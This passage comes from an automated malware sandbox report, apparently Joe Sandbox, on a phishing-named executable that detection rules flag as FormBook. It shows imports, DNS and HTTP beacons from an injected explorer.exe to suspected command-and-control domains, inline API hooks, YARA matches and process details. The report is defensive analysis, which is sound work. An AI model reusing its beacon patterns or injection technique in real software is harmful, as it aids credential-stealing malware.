RT_DIALOG	0x3b9478	0x100	data	English	United States
RT_DIALOG	0x3b9578	0x11c	data	English	United States
RT_DIALOG	0x3b9698	0x60	data	English	United States
RT_GROUP_ICON	0x3b96f8	0x14	data	English	United States
RT_MANIFEST	0x3b9710	0x33e	XML 1.0 document, ASCII text, with very long lines, with no line terminators	English	United States

Imports

DLL	Import
ADVAPI32.dll	RegCreateKeyExW, RegEnumKeyW, RegQueryValueExW, RegSetValueExW, RegCloseKey, RegDeleteValueW, RegDeleteKeyW, AdjustTokenPrivileges, LookupPrivilegeValueW, OpenProcessToken, SetFileSecurityW, RegOpenKeyExW, RegEnumValueW
SHELL32.dll	SHGetSpecialFolderLocation, SHFileOperationW, SHBrowseForFolderW, SHGetPathFromIDListW, ShellExecuteExW, SHGetFileInfoW
ole32.dll	OleInitialize, OleUninitialize, CoCreateInstance, IIDFromString, CoTaskMemFree
COMCTL32.dll	ImageList_Create, ImageList_Destroy, ImageList_AddMasked
USER32.dll	GetClientRect, EndPaint, DrawTextW, IsWindowEnabled, DispatchMessageW, wsprintfA, CharNextA, CharPrevW, MessageBoxIndirectW, GetDlgItemTextW, SetDlgItemTextW, GetSystemMetrics, FillRect, AppendMenuW, TrackPopupMenu, OpenClipboard, SetClipboardData, CloseClipboard, IsWindowVisible, CallWindowProcW, GetMessagePos, CheckDlgButton, LoadCursorW, SetCursor, GetSysColor, SetWindowPos, GetWindowLongW, PeekMessageW, SetClassLongW, GetSystemMenu, EnableMenuItem, GetWindowRect, ScreenToClient, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, FindWindowExW, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, EmptyClipboard, CreatePopupMenu
GDI32.dll	SetBkMode, SetBkColor, GetDeviceCaps, CreateFontIndirectW, CreateBrushIndirect, DeleteObject, SetTextColor, SelectObject
KERNEL32.dll	GetExitCodeProcess, WaitForSingleObject, GetModuleHandleA, GetProcAddress, GetSystemDirectoryW, lstrcatW, Sleep, lstrcpyA, WriteFile, GetTempFileNameW, lstrcmpiA, RemoveDirectoryW, CreateProcessW, CreateDirectoryW, GetLastError, CreateThread, GlobalLock, GlobalUnlock, GetDiskFreeSpaceW, WideCharToMultiByte, lstrcpynW, lstrlenW, SetErrorMode, GetVersionExW, GetCommandLineW, GetTempPathW, GetWindowsDirectoryW, SetEnvironmentVariableW, CopyFileW, ExitProcess, GetCurrentProcess, GetModuleFileNameW, GetFileSize, CreateFileW, GetTickCount, MulDiv, SetFileAttributesW, GetFileAttributesW, SetCurrentDirectoryW, MoveFileW, GetFullPathNameW, GetShortPathNameW, SearchPathW, CompareFileTime, SetFileTime, CloseHandle, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalFree, GlobalAlloc, GetModuleHandleW, LoadLibraryExW, MoveFileExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, lstrlenA, MultiByteToWideChar, ReadFile, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 13, 2022 16:10:37.252978086 CEST	49773	80	192.168.2.4	142.250.185.115
May 13, 2022 16:10:37.269717932 CEST	80	49773	142.250.185.115	192.168.2.4
May 13, 2022 16:10:37.269814014 CEST	49773	80	192.168.2.4	142.250.185.115
May 13, 2022 16:10:37.269937038 CEST	49773	80	192.168.2.4	142.250.185.115
May 13, 2022 16:10:37.286659002 CEST	80	49773	142.250.185.115	192.168.2.4
May 13, 2022 16:10:37.426731110 CEST	80	49773	142.250.185.115	192.168.2.4
May 13, 2022 16:10:37.426786900 CEST	80	49773	142.250.185.115	192.168.2.4
May 13, 2022 16:10:37.426815987 CEST	80	49773	142.250.185.115	192.168.2.4
May 13, 2022 16:10:37.426949978 CEST	49773	80	192.168.2.4	142.250.185.115
May 13, 2022 16:10:37.427006960 CEST	49773	80	192.168.2.4	142.250.185.115
May 13, 2022 16:10:37.428131104 CEST	80	49773	142.250.185.115	192.168.2.4
May 13, 2022 16:10:37.428225040 CEST	80	49773	142.250.185.115	192.168.2.4
May 13, 2022 16:10:37.428282976 CEST	49773	80	192.168.2.4	142.250.185.115
May 13, 2022 16:10:37.428313971 CEST	49773	80	192.168.2.4	142.250.185.115
May 13, 2022 16:10:57.716248035 CEST	49775	80	192.168.2.4	23.227.38.74
May 13, 2022 16:10:57.733297110 CEST	80	49775	23.227.38.74	192.168.2.4
May 13, 2022 16:10:57.733407974 CEST	49775	80	192.168.2.4	23.227.38.74
May 13, 2022 16:10:57.733571053 CEST	49775	80	192.168.2.4	23.227.38.74
May 13, 2022 16:10:57.750320911 CEST	80	49775	23.227.38.74	192.168.2.4
May 13, 2022 16:10:57.795728922 CEST	80	49775	23.227.38.74	192.168.2.4
May 13, 2022 16:10:57.795795918 CEST	80	49775	23.227.38.74	192.168.2.4
May 13, 2022 16:10:57.795835972 CEST	80	49775	23.227.38.74	192.168.2.4
May 13, 2022 16:10:57.795855999 CEST	49775	80	192.168.2.4	23.227.38.74
May 13, 2022 16:10:57.795876026 CEST	80	49775	23.227.38.74	192.168.2.4
May 13, 2022 16:10:57.795908928 CEST	80	49775	23.227.38.74	192.168.2.4
May 13, 2022 16:10:57.795924902 CEST	49775	80	192.168.2.4	23.227.38.74
May 13, 2022 16:10:57.795937061 CEST	80	49775	23.227.38.74	192.168.2.4
May 13, 2022 16:10:57.795967102 CEST	80	49775	23.227.38.74	192.168.2.4
May 13, 2022 16:10:57.796086073 CEST	49775	80	192.168.2.4	23.227.38.74
May 13, 2022 16:10:57.796102047 CEST	49775	80	192.168.2.4	23.227.38.74
May 13, 2022 16:10:57.796107054 CEST	49775	80	192.168.2.4	23.227.38.74
May 13, 2022 16:10:57.812993050 CEST	80	49775	23.227.38.74	192.168.2.4
May 13, 2022 16:10:57.813087940 CEST	49775	80	192.168.2.4	23.227.38.74
May 13, 2022 16:11:20.068773985 CEST	49777	80	192.168.2.4	3.64.163.50
May 13, 2022 16:11:20.088573933 CEST	80	49777	3.64.163.50	192.168.2.4
May 13, 2022 16:11:20.088706017 CEST	49777	80	192.168.2.4	3.64.163.50
May 13, 2022 16:11:20.088871002 CEST	49777	80	192.168.2.4	3.64.163.50
May 13, 2022 16:11:20.108211994 CEST	80	49777	3.64.163.50	192.168.2.4
May 13, 2022 16:11:20.108275890 CEST	80	49777	3.64.163.50	192.168.2.4
May 13, 2022 16:11:20.108305931 CEST	80	49777	3.64.163.50	192.168.2.4
May 13, 2022 16:11:20.108448982 CEST	49777	80	192.168.2.4	3.64.163.50
May 13, 2022 16:11:20.108520031 CEST	49777	80	192.168.2.4	3.64.163.50
May 13, 2022 16:11:20.127751112 CEST	80	49777	3.64.163.50	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 13, 2022 16:10:37.212352991 CEST	60647	53	192.168.2.4	8.8.8.8
May 13, 2022 16:10:37.247565985 CEST	53	60647	8.8.8.8	192.168.2.4
May 13, 2022 16:10:57.684124947 CEST	64909	53	192.168.2.4	8.8.8.8
May 13, 2022 16:10:57.714978933 CEST	53	64909	8.8.8.8	192.168.2.4
May 13, 2022 16:11:20.044547081 CEST	60381	53	192.168.2.4	8.8.8.8
May 13, 2022 16:11:20.067533016 CEST	53	60381	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
May 13, 2022 16:10:37.212352991 CEST	192.168.2.4	8.8.8.8	0x190e	Standard query (0)	www.rtpholywin99.com	A (IP address)	IN (0x0001)
May 13, 2022 16:10:57.684124947 CEST	192.168.2.4	8.8.8.8	0x2690	Standard query (0)	www.keilaniclothing.com	A (IP address)	IN (0x0001)
May 13, 2022 16:11:20.044547081 CEST	192.168.2.4	8.8.8.8	0xdfde	Standard query (0)	www.ultrakill.xyz	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
May 13, 2022 16:10:37.247565985 CEST	8.8.8.8	192.168.2.4	0x190e	No error (0)	www.rtpholywin99.com	ghs.google.com		CNAME (Canonical name)	IN (0x0001)
May 13, 2022 16:10:37.247565985 CEST	8.8.8.8	192.168.2.4	0x190e	No error (0)	ghs.google.com		142.250.185.115	A (IP address)	IN (0x0001)
May 13, 2022 16:10:57.714978933 CEST	8.8.8.8	192.168.2.4	0x2690	No error (0)	www.keilaniclothing.com	shops.myshopify.com		CNAME (Canonical name)	IN (0x0001)
May 13, 2022 16:10:57.714978933 CEST	8.8.8.8	192.168.2.4	0x2690	No error (0)	shops.myshopify.com		23.227.38.74	A (IP address)	IN (0x0001)
May 13, 2022 16:11:20.067533016 CEST	8.8.8.8	192.168.2.4	0xdfde	No error (0)	www.ultrakill.xyz		3.64.163.50	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

www.rtpholywin99.com

www.keilaniclothing.com

www.ultrakill.xyz

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49773	142.250.185.115	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 13, 2022 16:10:37.269937038 CEST	9887	OUT	GET /amdf/?oTsXW=bHtTbh8HU&9rF=Trmpqgljk9XuX6wxdqqXIm/y+wmhK8tfRywx+ln+mTz4pafXVdYl+/2RwiFK/8XcMfBx HTTP/1.1 Host: www.rtpholywin99.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 13, 2022 16:10:37.426731110 CEST	9888	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 13 May 2022 14:10:37 GMT X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Accept-Ranges: none Vary: Accept-Encoding Transfer-Encoding: chunked Connection: close Data Raw: 62 31 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 42 6c 6f 67 67 65 72 20 69 73 20 61 20 62 6c 6f 67 20 70 75 62 6c 69 73 68 69 6e 67 20 74 6f 6f 6c 20 66 72 6f 6d 20 47 6f 6f 67 6c 65 20 66 6f 72 20 65 61 73 69 6c 79 20 73 68 61 72 69 6e 67 20 79 6f 75 72 20 74 68 6f 75 67 68 74 73 20 77 69 74 68 20 74 68 65 20 77 6f 72 6c 64 2e 20 42 6c 6f 67 67 65 72 20 6d 61 6b 65 73 20 69 74 20 73 69 6d 70 6c 65 20 74 6f 20 70 6f 73 74 20 74 65 78 74 2c 20 70 68 6f 74 6f 73 20 61 6e 64 20 76 69 64 65 6f 20 6f 6e 74 6f 20 79 6f 75 72 20 70 65 72 73 6f 6e 61 6c 20 6f 72 20 74 65 61 6d 20 62 6c 6f 67 2e 22 3e 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 62 6c 6f 67 67 65 72 2c 20 62 6c 6f 67 73 70 6f 74 2c 20 62 6c 6f 67 2c 20 62 6c 6f 67 67 65 72 2e 63 6f 6d 2c 20 62 6c 6f 67 73 70 6f 74 2e 63 6f 6d 2c 20 70 65 72 73 6f 6e 61 6c 20 62 6c 6f 67 2c 20 77 65 62 6c 6f 67 2c 20 63 72 65 61 74 65 20 62 6c 6f 67 2c 20 6e 65 77 20 62 6c 6f 67 22 3e 0a 3c 62 61 73 65 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 6c 6f 67 67 65 72 2e 63 6f 6d 22 3e 0a 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 23 68 6f 6d 65 42 75 74 74 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 32 37 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 6c 6f 67 67 65 72 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 76 31 2f 76 2d 63 73 73 2f 33 38 39 36 35 35 38 36 37 33 2d 6e 65 77 5f 75 69 5f 73 74 61 74 69 63 5f 70 61 67 65 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 6c 61 6e 67 5f 65 6e 20 72 62 22 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 67 61 3d 77 69 6e 64 6f 77 2e 67 61 7c 7c 66 75 6e 63 74 69 6f 6e 28 29 7b 28 67 61 2e 71 3d 67 61 2e 71 7c 7c 5b 5d 29 2e 70 75 73 68 28 61 72 Data Ascii: b12<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html dir="ltr"><head><meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta name="description" content="Blogger is a blog publishing tool from Google for easily sharing your thoughts with the world. Blogger makes it simple to post text, photos and video onto your personal or team blog."> <meta name="keywords" content="blogger, blogspot, blog, blogger.com, blogspot.com, personal blog, weblog, create blog, new blog"><base href="https://www.blogger.com"><title>Page not found</title><style type="text/css"> #homeButton { width: 270px; } </style><link href="https://www.blogger.com/static/v1/v-css/3896558673-new_ui_static_pages.css" rel="stylesheet" type="text/css"></head><body class="lang_en rb"><script type="text/javascript"> window.ga=window.ga\|\|function(){(ga.q=ga.q\|\|[]).push(ar

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49775	23.227.38.74	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 13, 2022 16:10:57.733571053 CEST	11587	OUT	GET /amdf/?9rF=/oFEaKse3b+9bUwDmBZBOOdpMJRIltPBO/GIVMmFEKpLcaQ5ll8yuFZgv1Udvzfmdn1m&oTsXW=bHtTbh8HU HTTP/1.1 Host: www.keilaniclothing.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 13, 2022 16:10:57.795728922 CEST	11589	IN	HTTP/1.1 403 Forbidden Date: Fri, 13 May 2022 14:10:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Sorting-Hat-PodId: 250 X-Sorting-Hat-ShopId: 64045383931 X-Dc: gcp-europe-west1 X-Request-ID: c795f513-2a89-4e29-a885-b65e0c1175bd X-XSS-Protection: 1; mode=block X-Download-Options: noopen X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 70abfb06ecb2917d-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 31 34 31 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 65 76 65 72 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 41 63 63 65 73 73 20 64 65 6e 69 65 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 2a 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 31 46 31 46 31 3b 66 6f 6e 74 2d 73 69 7a 65 3a 36 32 2e 35 25 3b 63 6f 6c 6f 72 3a 23 33 30 33 30 33 30 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 7d 62 6f 64 79 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 2e 37 72 65 6d 7d 61 7b 63 6f 6c 6f 72 3a 23 33 30 33 30 33 30 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 31 70 78 20 73 6f 6c 69 64 20 23 33 30 33 30 33 30 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 20 30 2e 32 73 20 65 61 73 65 2d 69 6e 7d 61 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 63 6f 6c 6f 72 3a 23 41 39 41 39 41 39 7d 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 38 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 6d 61 72 67 69 6e 3a 30 20 30 20 31 2e 34 72 65 6d 20 30 7d 70 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 35 72 65 6d 3b 6d 61 72 67 69 6e 3a 30 7d 2e 70 61 67 65 7b 70 61 64 64 69 6e 67 3a 34 72 65 6d 20 33 2e 35 72 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 76 68 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 7d 2e 74 65 78 74 2d 63 6f 6e 74 61 69 6e 65 72 2d 2d 6d 61 69 6e 7b 66 6c 65 78 3a 31 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 61 6c Data Ascii: 141d<!DOCTYPE html><html lang="en"><head> <meta charset="utf-8" /> <meta name="referrer" content="never" /> <title>Access denied</title> <style type="text/css"> *{box-sizing:border-box;margin:0;padding:0}html{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;background:#F1F1F1;font-size:62.5%;color:#303030;min-height:100%}body{padding:0;margin:0;line-height:2.7rem}a{color:#303030;border-bottom:1px solid #303030;text-decoration:none;padding-bottom:1rem;transition:border-color 0.2s ease-in}a:hover{border-bottom-color:#A9A9A9}h1{font-size:1.8rem;font-weight:400;margin:0 0 1.4rem 0}p{font-size:1.5rem;margin:0}.page{padding:4rem 3.5rem;margin:0;display:flex;min-height:100vh;flex-direction:column}.text-container--main{flex:1;display:flex;al

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.4	49777	3.64.163.50	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 13, 2022 16:11:20.088871002 CEST	11599	OUT	GET /amdf/?oTsXW=bHtTbh8HU&9rF=2pnwrPnaayjLTa+dMDr3ioSS0RS/WyH1Gjote8OZi1oxTz0HZpyyfRSy0TFJ31yfLnqh HTTP/1.1 Host: www.ultrakill.xyz Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 13, 2022 16:11:20.108275890 CEST	11600	IN	HTTP/1.1 410 Gone Server: openresty Date: Fri, 13 May 2022 14:11:20 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Data Raw: 37 0d 0a 3c 68 74 6d 6c 3e 0a 0d 0a 39 0d 0a 20 20 3c 68 65 61 64 3e 0a 0d 0a 34 64 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 72 65 66 72 65 73 68 27 20 63 6f 6e 74 65 6e 74 3d 27 30 3b 20 75 72 6c 3d 68 74 74 70 3a 2f 2f 77 77 77 2e 75 6c 74 72 61 6b 69 6c 6c 2e 78 79 7a 2f 27 20 2f 3e 0a 0d 0a 61 0d 0a 20 20 3c 2f 68 65 61 64 3e 0a 0d 0a 38 0d 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 7<html>9 <head>4d <meta http-equiv='refresh' content='0; url=http://www.ultrakill.xyz/' />a </head>8</html>0

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
PeekMessageA	INLINE	explorer.exe
PeekMessageW	INLINE	explorer.exe
GetMessageW	INLINE	explorer.exe
GetMessageA	INLINE	explorer.exe

Processes

Process: explorer.exe, Module: user32.dll

Function Name	Hook Type	New Data
PeekMessageA	INLINE	0x48 0x8B 0xB8 0x8E 0xEE 0xE6
PeekMessageW	INLINE	0x48 0x8B 0xB8 0x86 0x6E 0xE6
GetMessageW	INLINE	0x48 0x8B 0xB8 0x86 0x6E 0xE6
GetMessageA	INLINE	0x48 0x8B 0xB8 0x8E 0xEE 0xE6

Target ID:	0
Start time:	16:09:19
Start date:	13/05/2022
Path:	C:\Users\user\Desktop\DHL SHIPMENT NOTIFICATION 1146789443.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\DHL SHIPMENT NOTIFICATION 1146789443.exe"
Imagebase:	0x400000
File size:	278331 bytes
MD5 hash:	8FBDF9F70B21179D87B83FE47B2137DD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Analysis Process: aeokw.exePID: 6272, Parent PID: 6224

General

Target ID:	1
Start time:	16:09:21
Start date:	13/05/2022
Path:	C:\Users\user\AppData\Local\Temp\aeokw.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\aeokw.exe C:\Users\user\AppData\Local\Temp\fnnok
Imagebase:	0xd70000
File size:	80384 bytes
MD5 hash:	6F70881E0183CE9F78E300CF2C8DC48E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000001.00000002.258171974.00000000012A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000001.00000002.258171974.00000000012A0000.00000004.00001000.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000001.00000002.258171974.00000000012A0000.00000004.00001000.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Analysis Process: aeokw.exePID: 6288, Parent PID: 6272

General

Target ID:	2
Start time:	16:09:22
Start date:	13/05/2022
Path:	C:\Users\user\AppData\Local\Temp\aeokw.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\aeokw.exe C:\Users\user\AppData\Local\Temp\fnnok
Imagebase:	0xd70000
File size:	80384 bytes
MD5 hash:	6F70881E0183CE9F78E300CF2C8DC48E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000002.00000002.322163759.0000000000DD0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000002.00000002.322163759.0000000000DD0000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000002.00000002.322163759.0000000000DD0000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000002.00000002.322197992.0000000001100000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000002.00000002.322197992.0000000001100000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000002.00000002.322197992.0000000001100000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000002.00000000.256268925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000002.00000000.256268925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000002.00000000.256268925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000002.00000002.321951084.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000002.00000002.321951084.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000002.00000002.321951084.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000002.00000000.254937698.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000002.00000000.254937698.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000002.00000000.254937698.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Analysis Process: explorer.exePID: 3616, Parent PID: 6288

General

Target ID:	5
Start time:	16:09:27
Start date:	13/05/2022
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff6f3b00000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000005.00000000.294568326.000000000E814000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000005.00000000.294568326.000000000E814000.00000040.00000001.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000005.00000000.294568326.000000000E814000.00000040.00000001.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000005.00000000.310303298.000000000E814000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000005.00000000.310303298.000000000E814000.00000040.00000001.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000005.00000000.310303298.000000000E814000.00000040.00000001.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	high

Analysis Process: svchost.exePID: 2360, Parent PID: 3616

General

Target ID:	17
Start time:	16:09:51
Start date:	13/05/2022
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
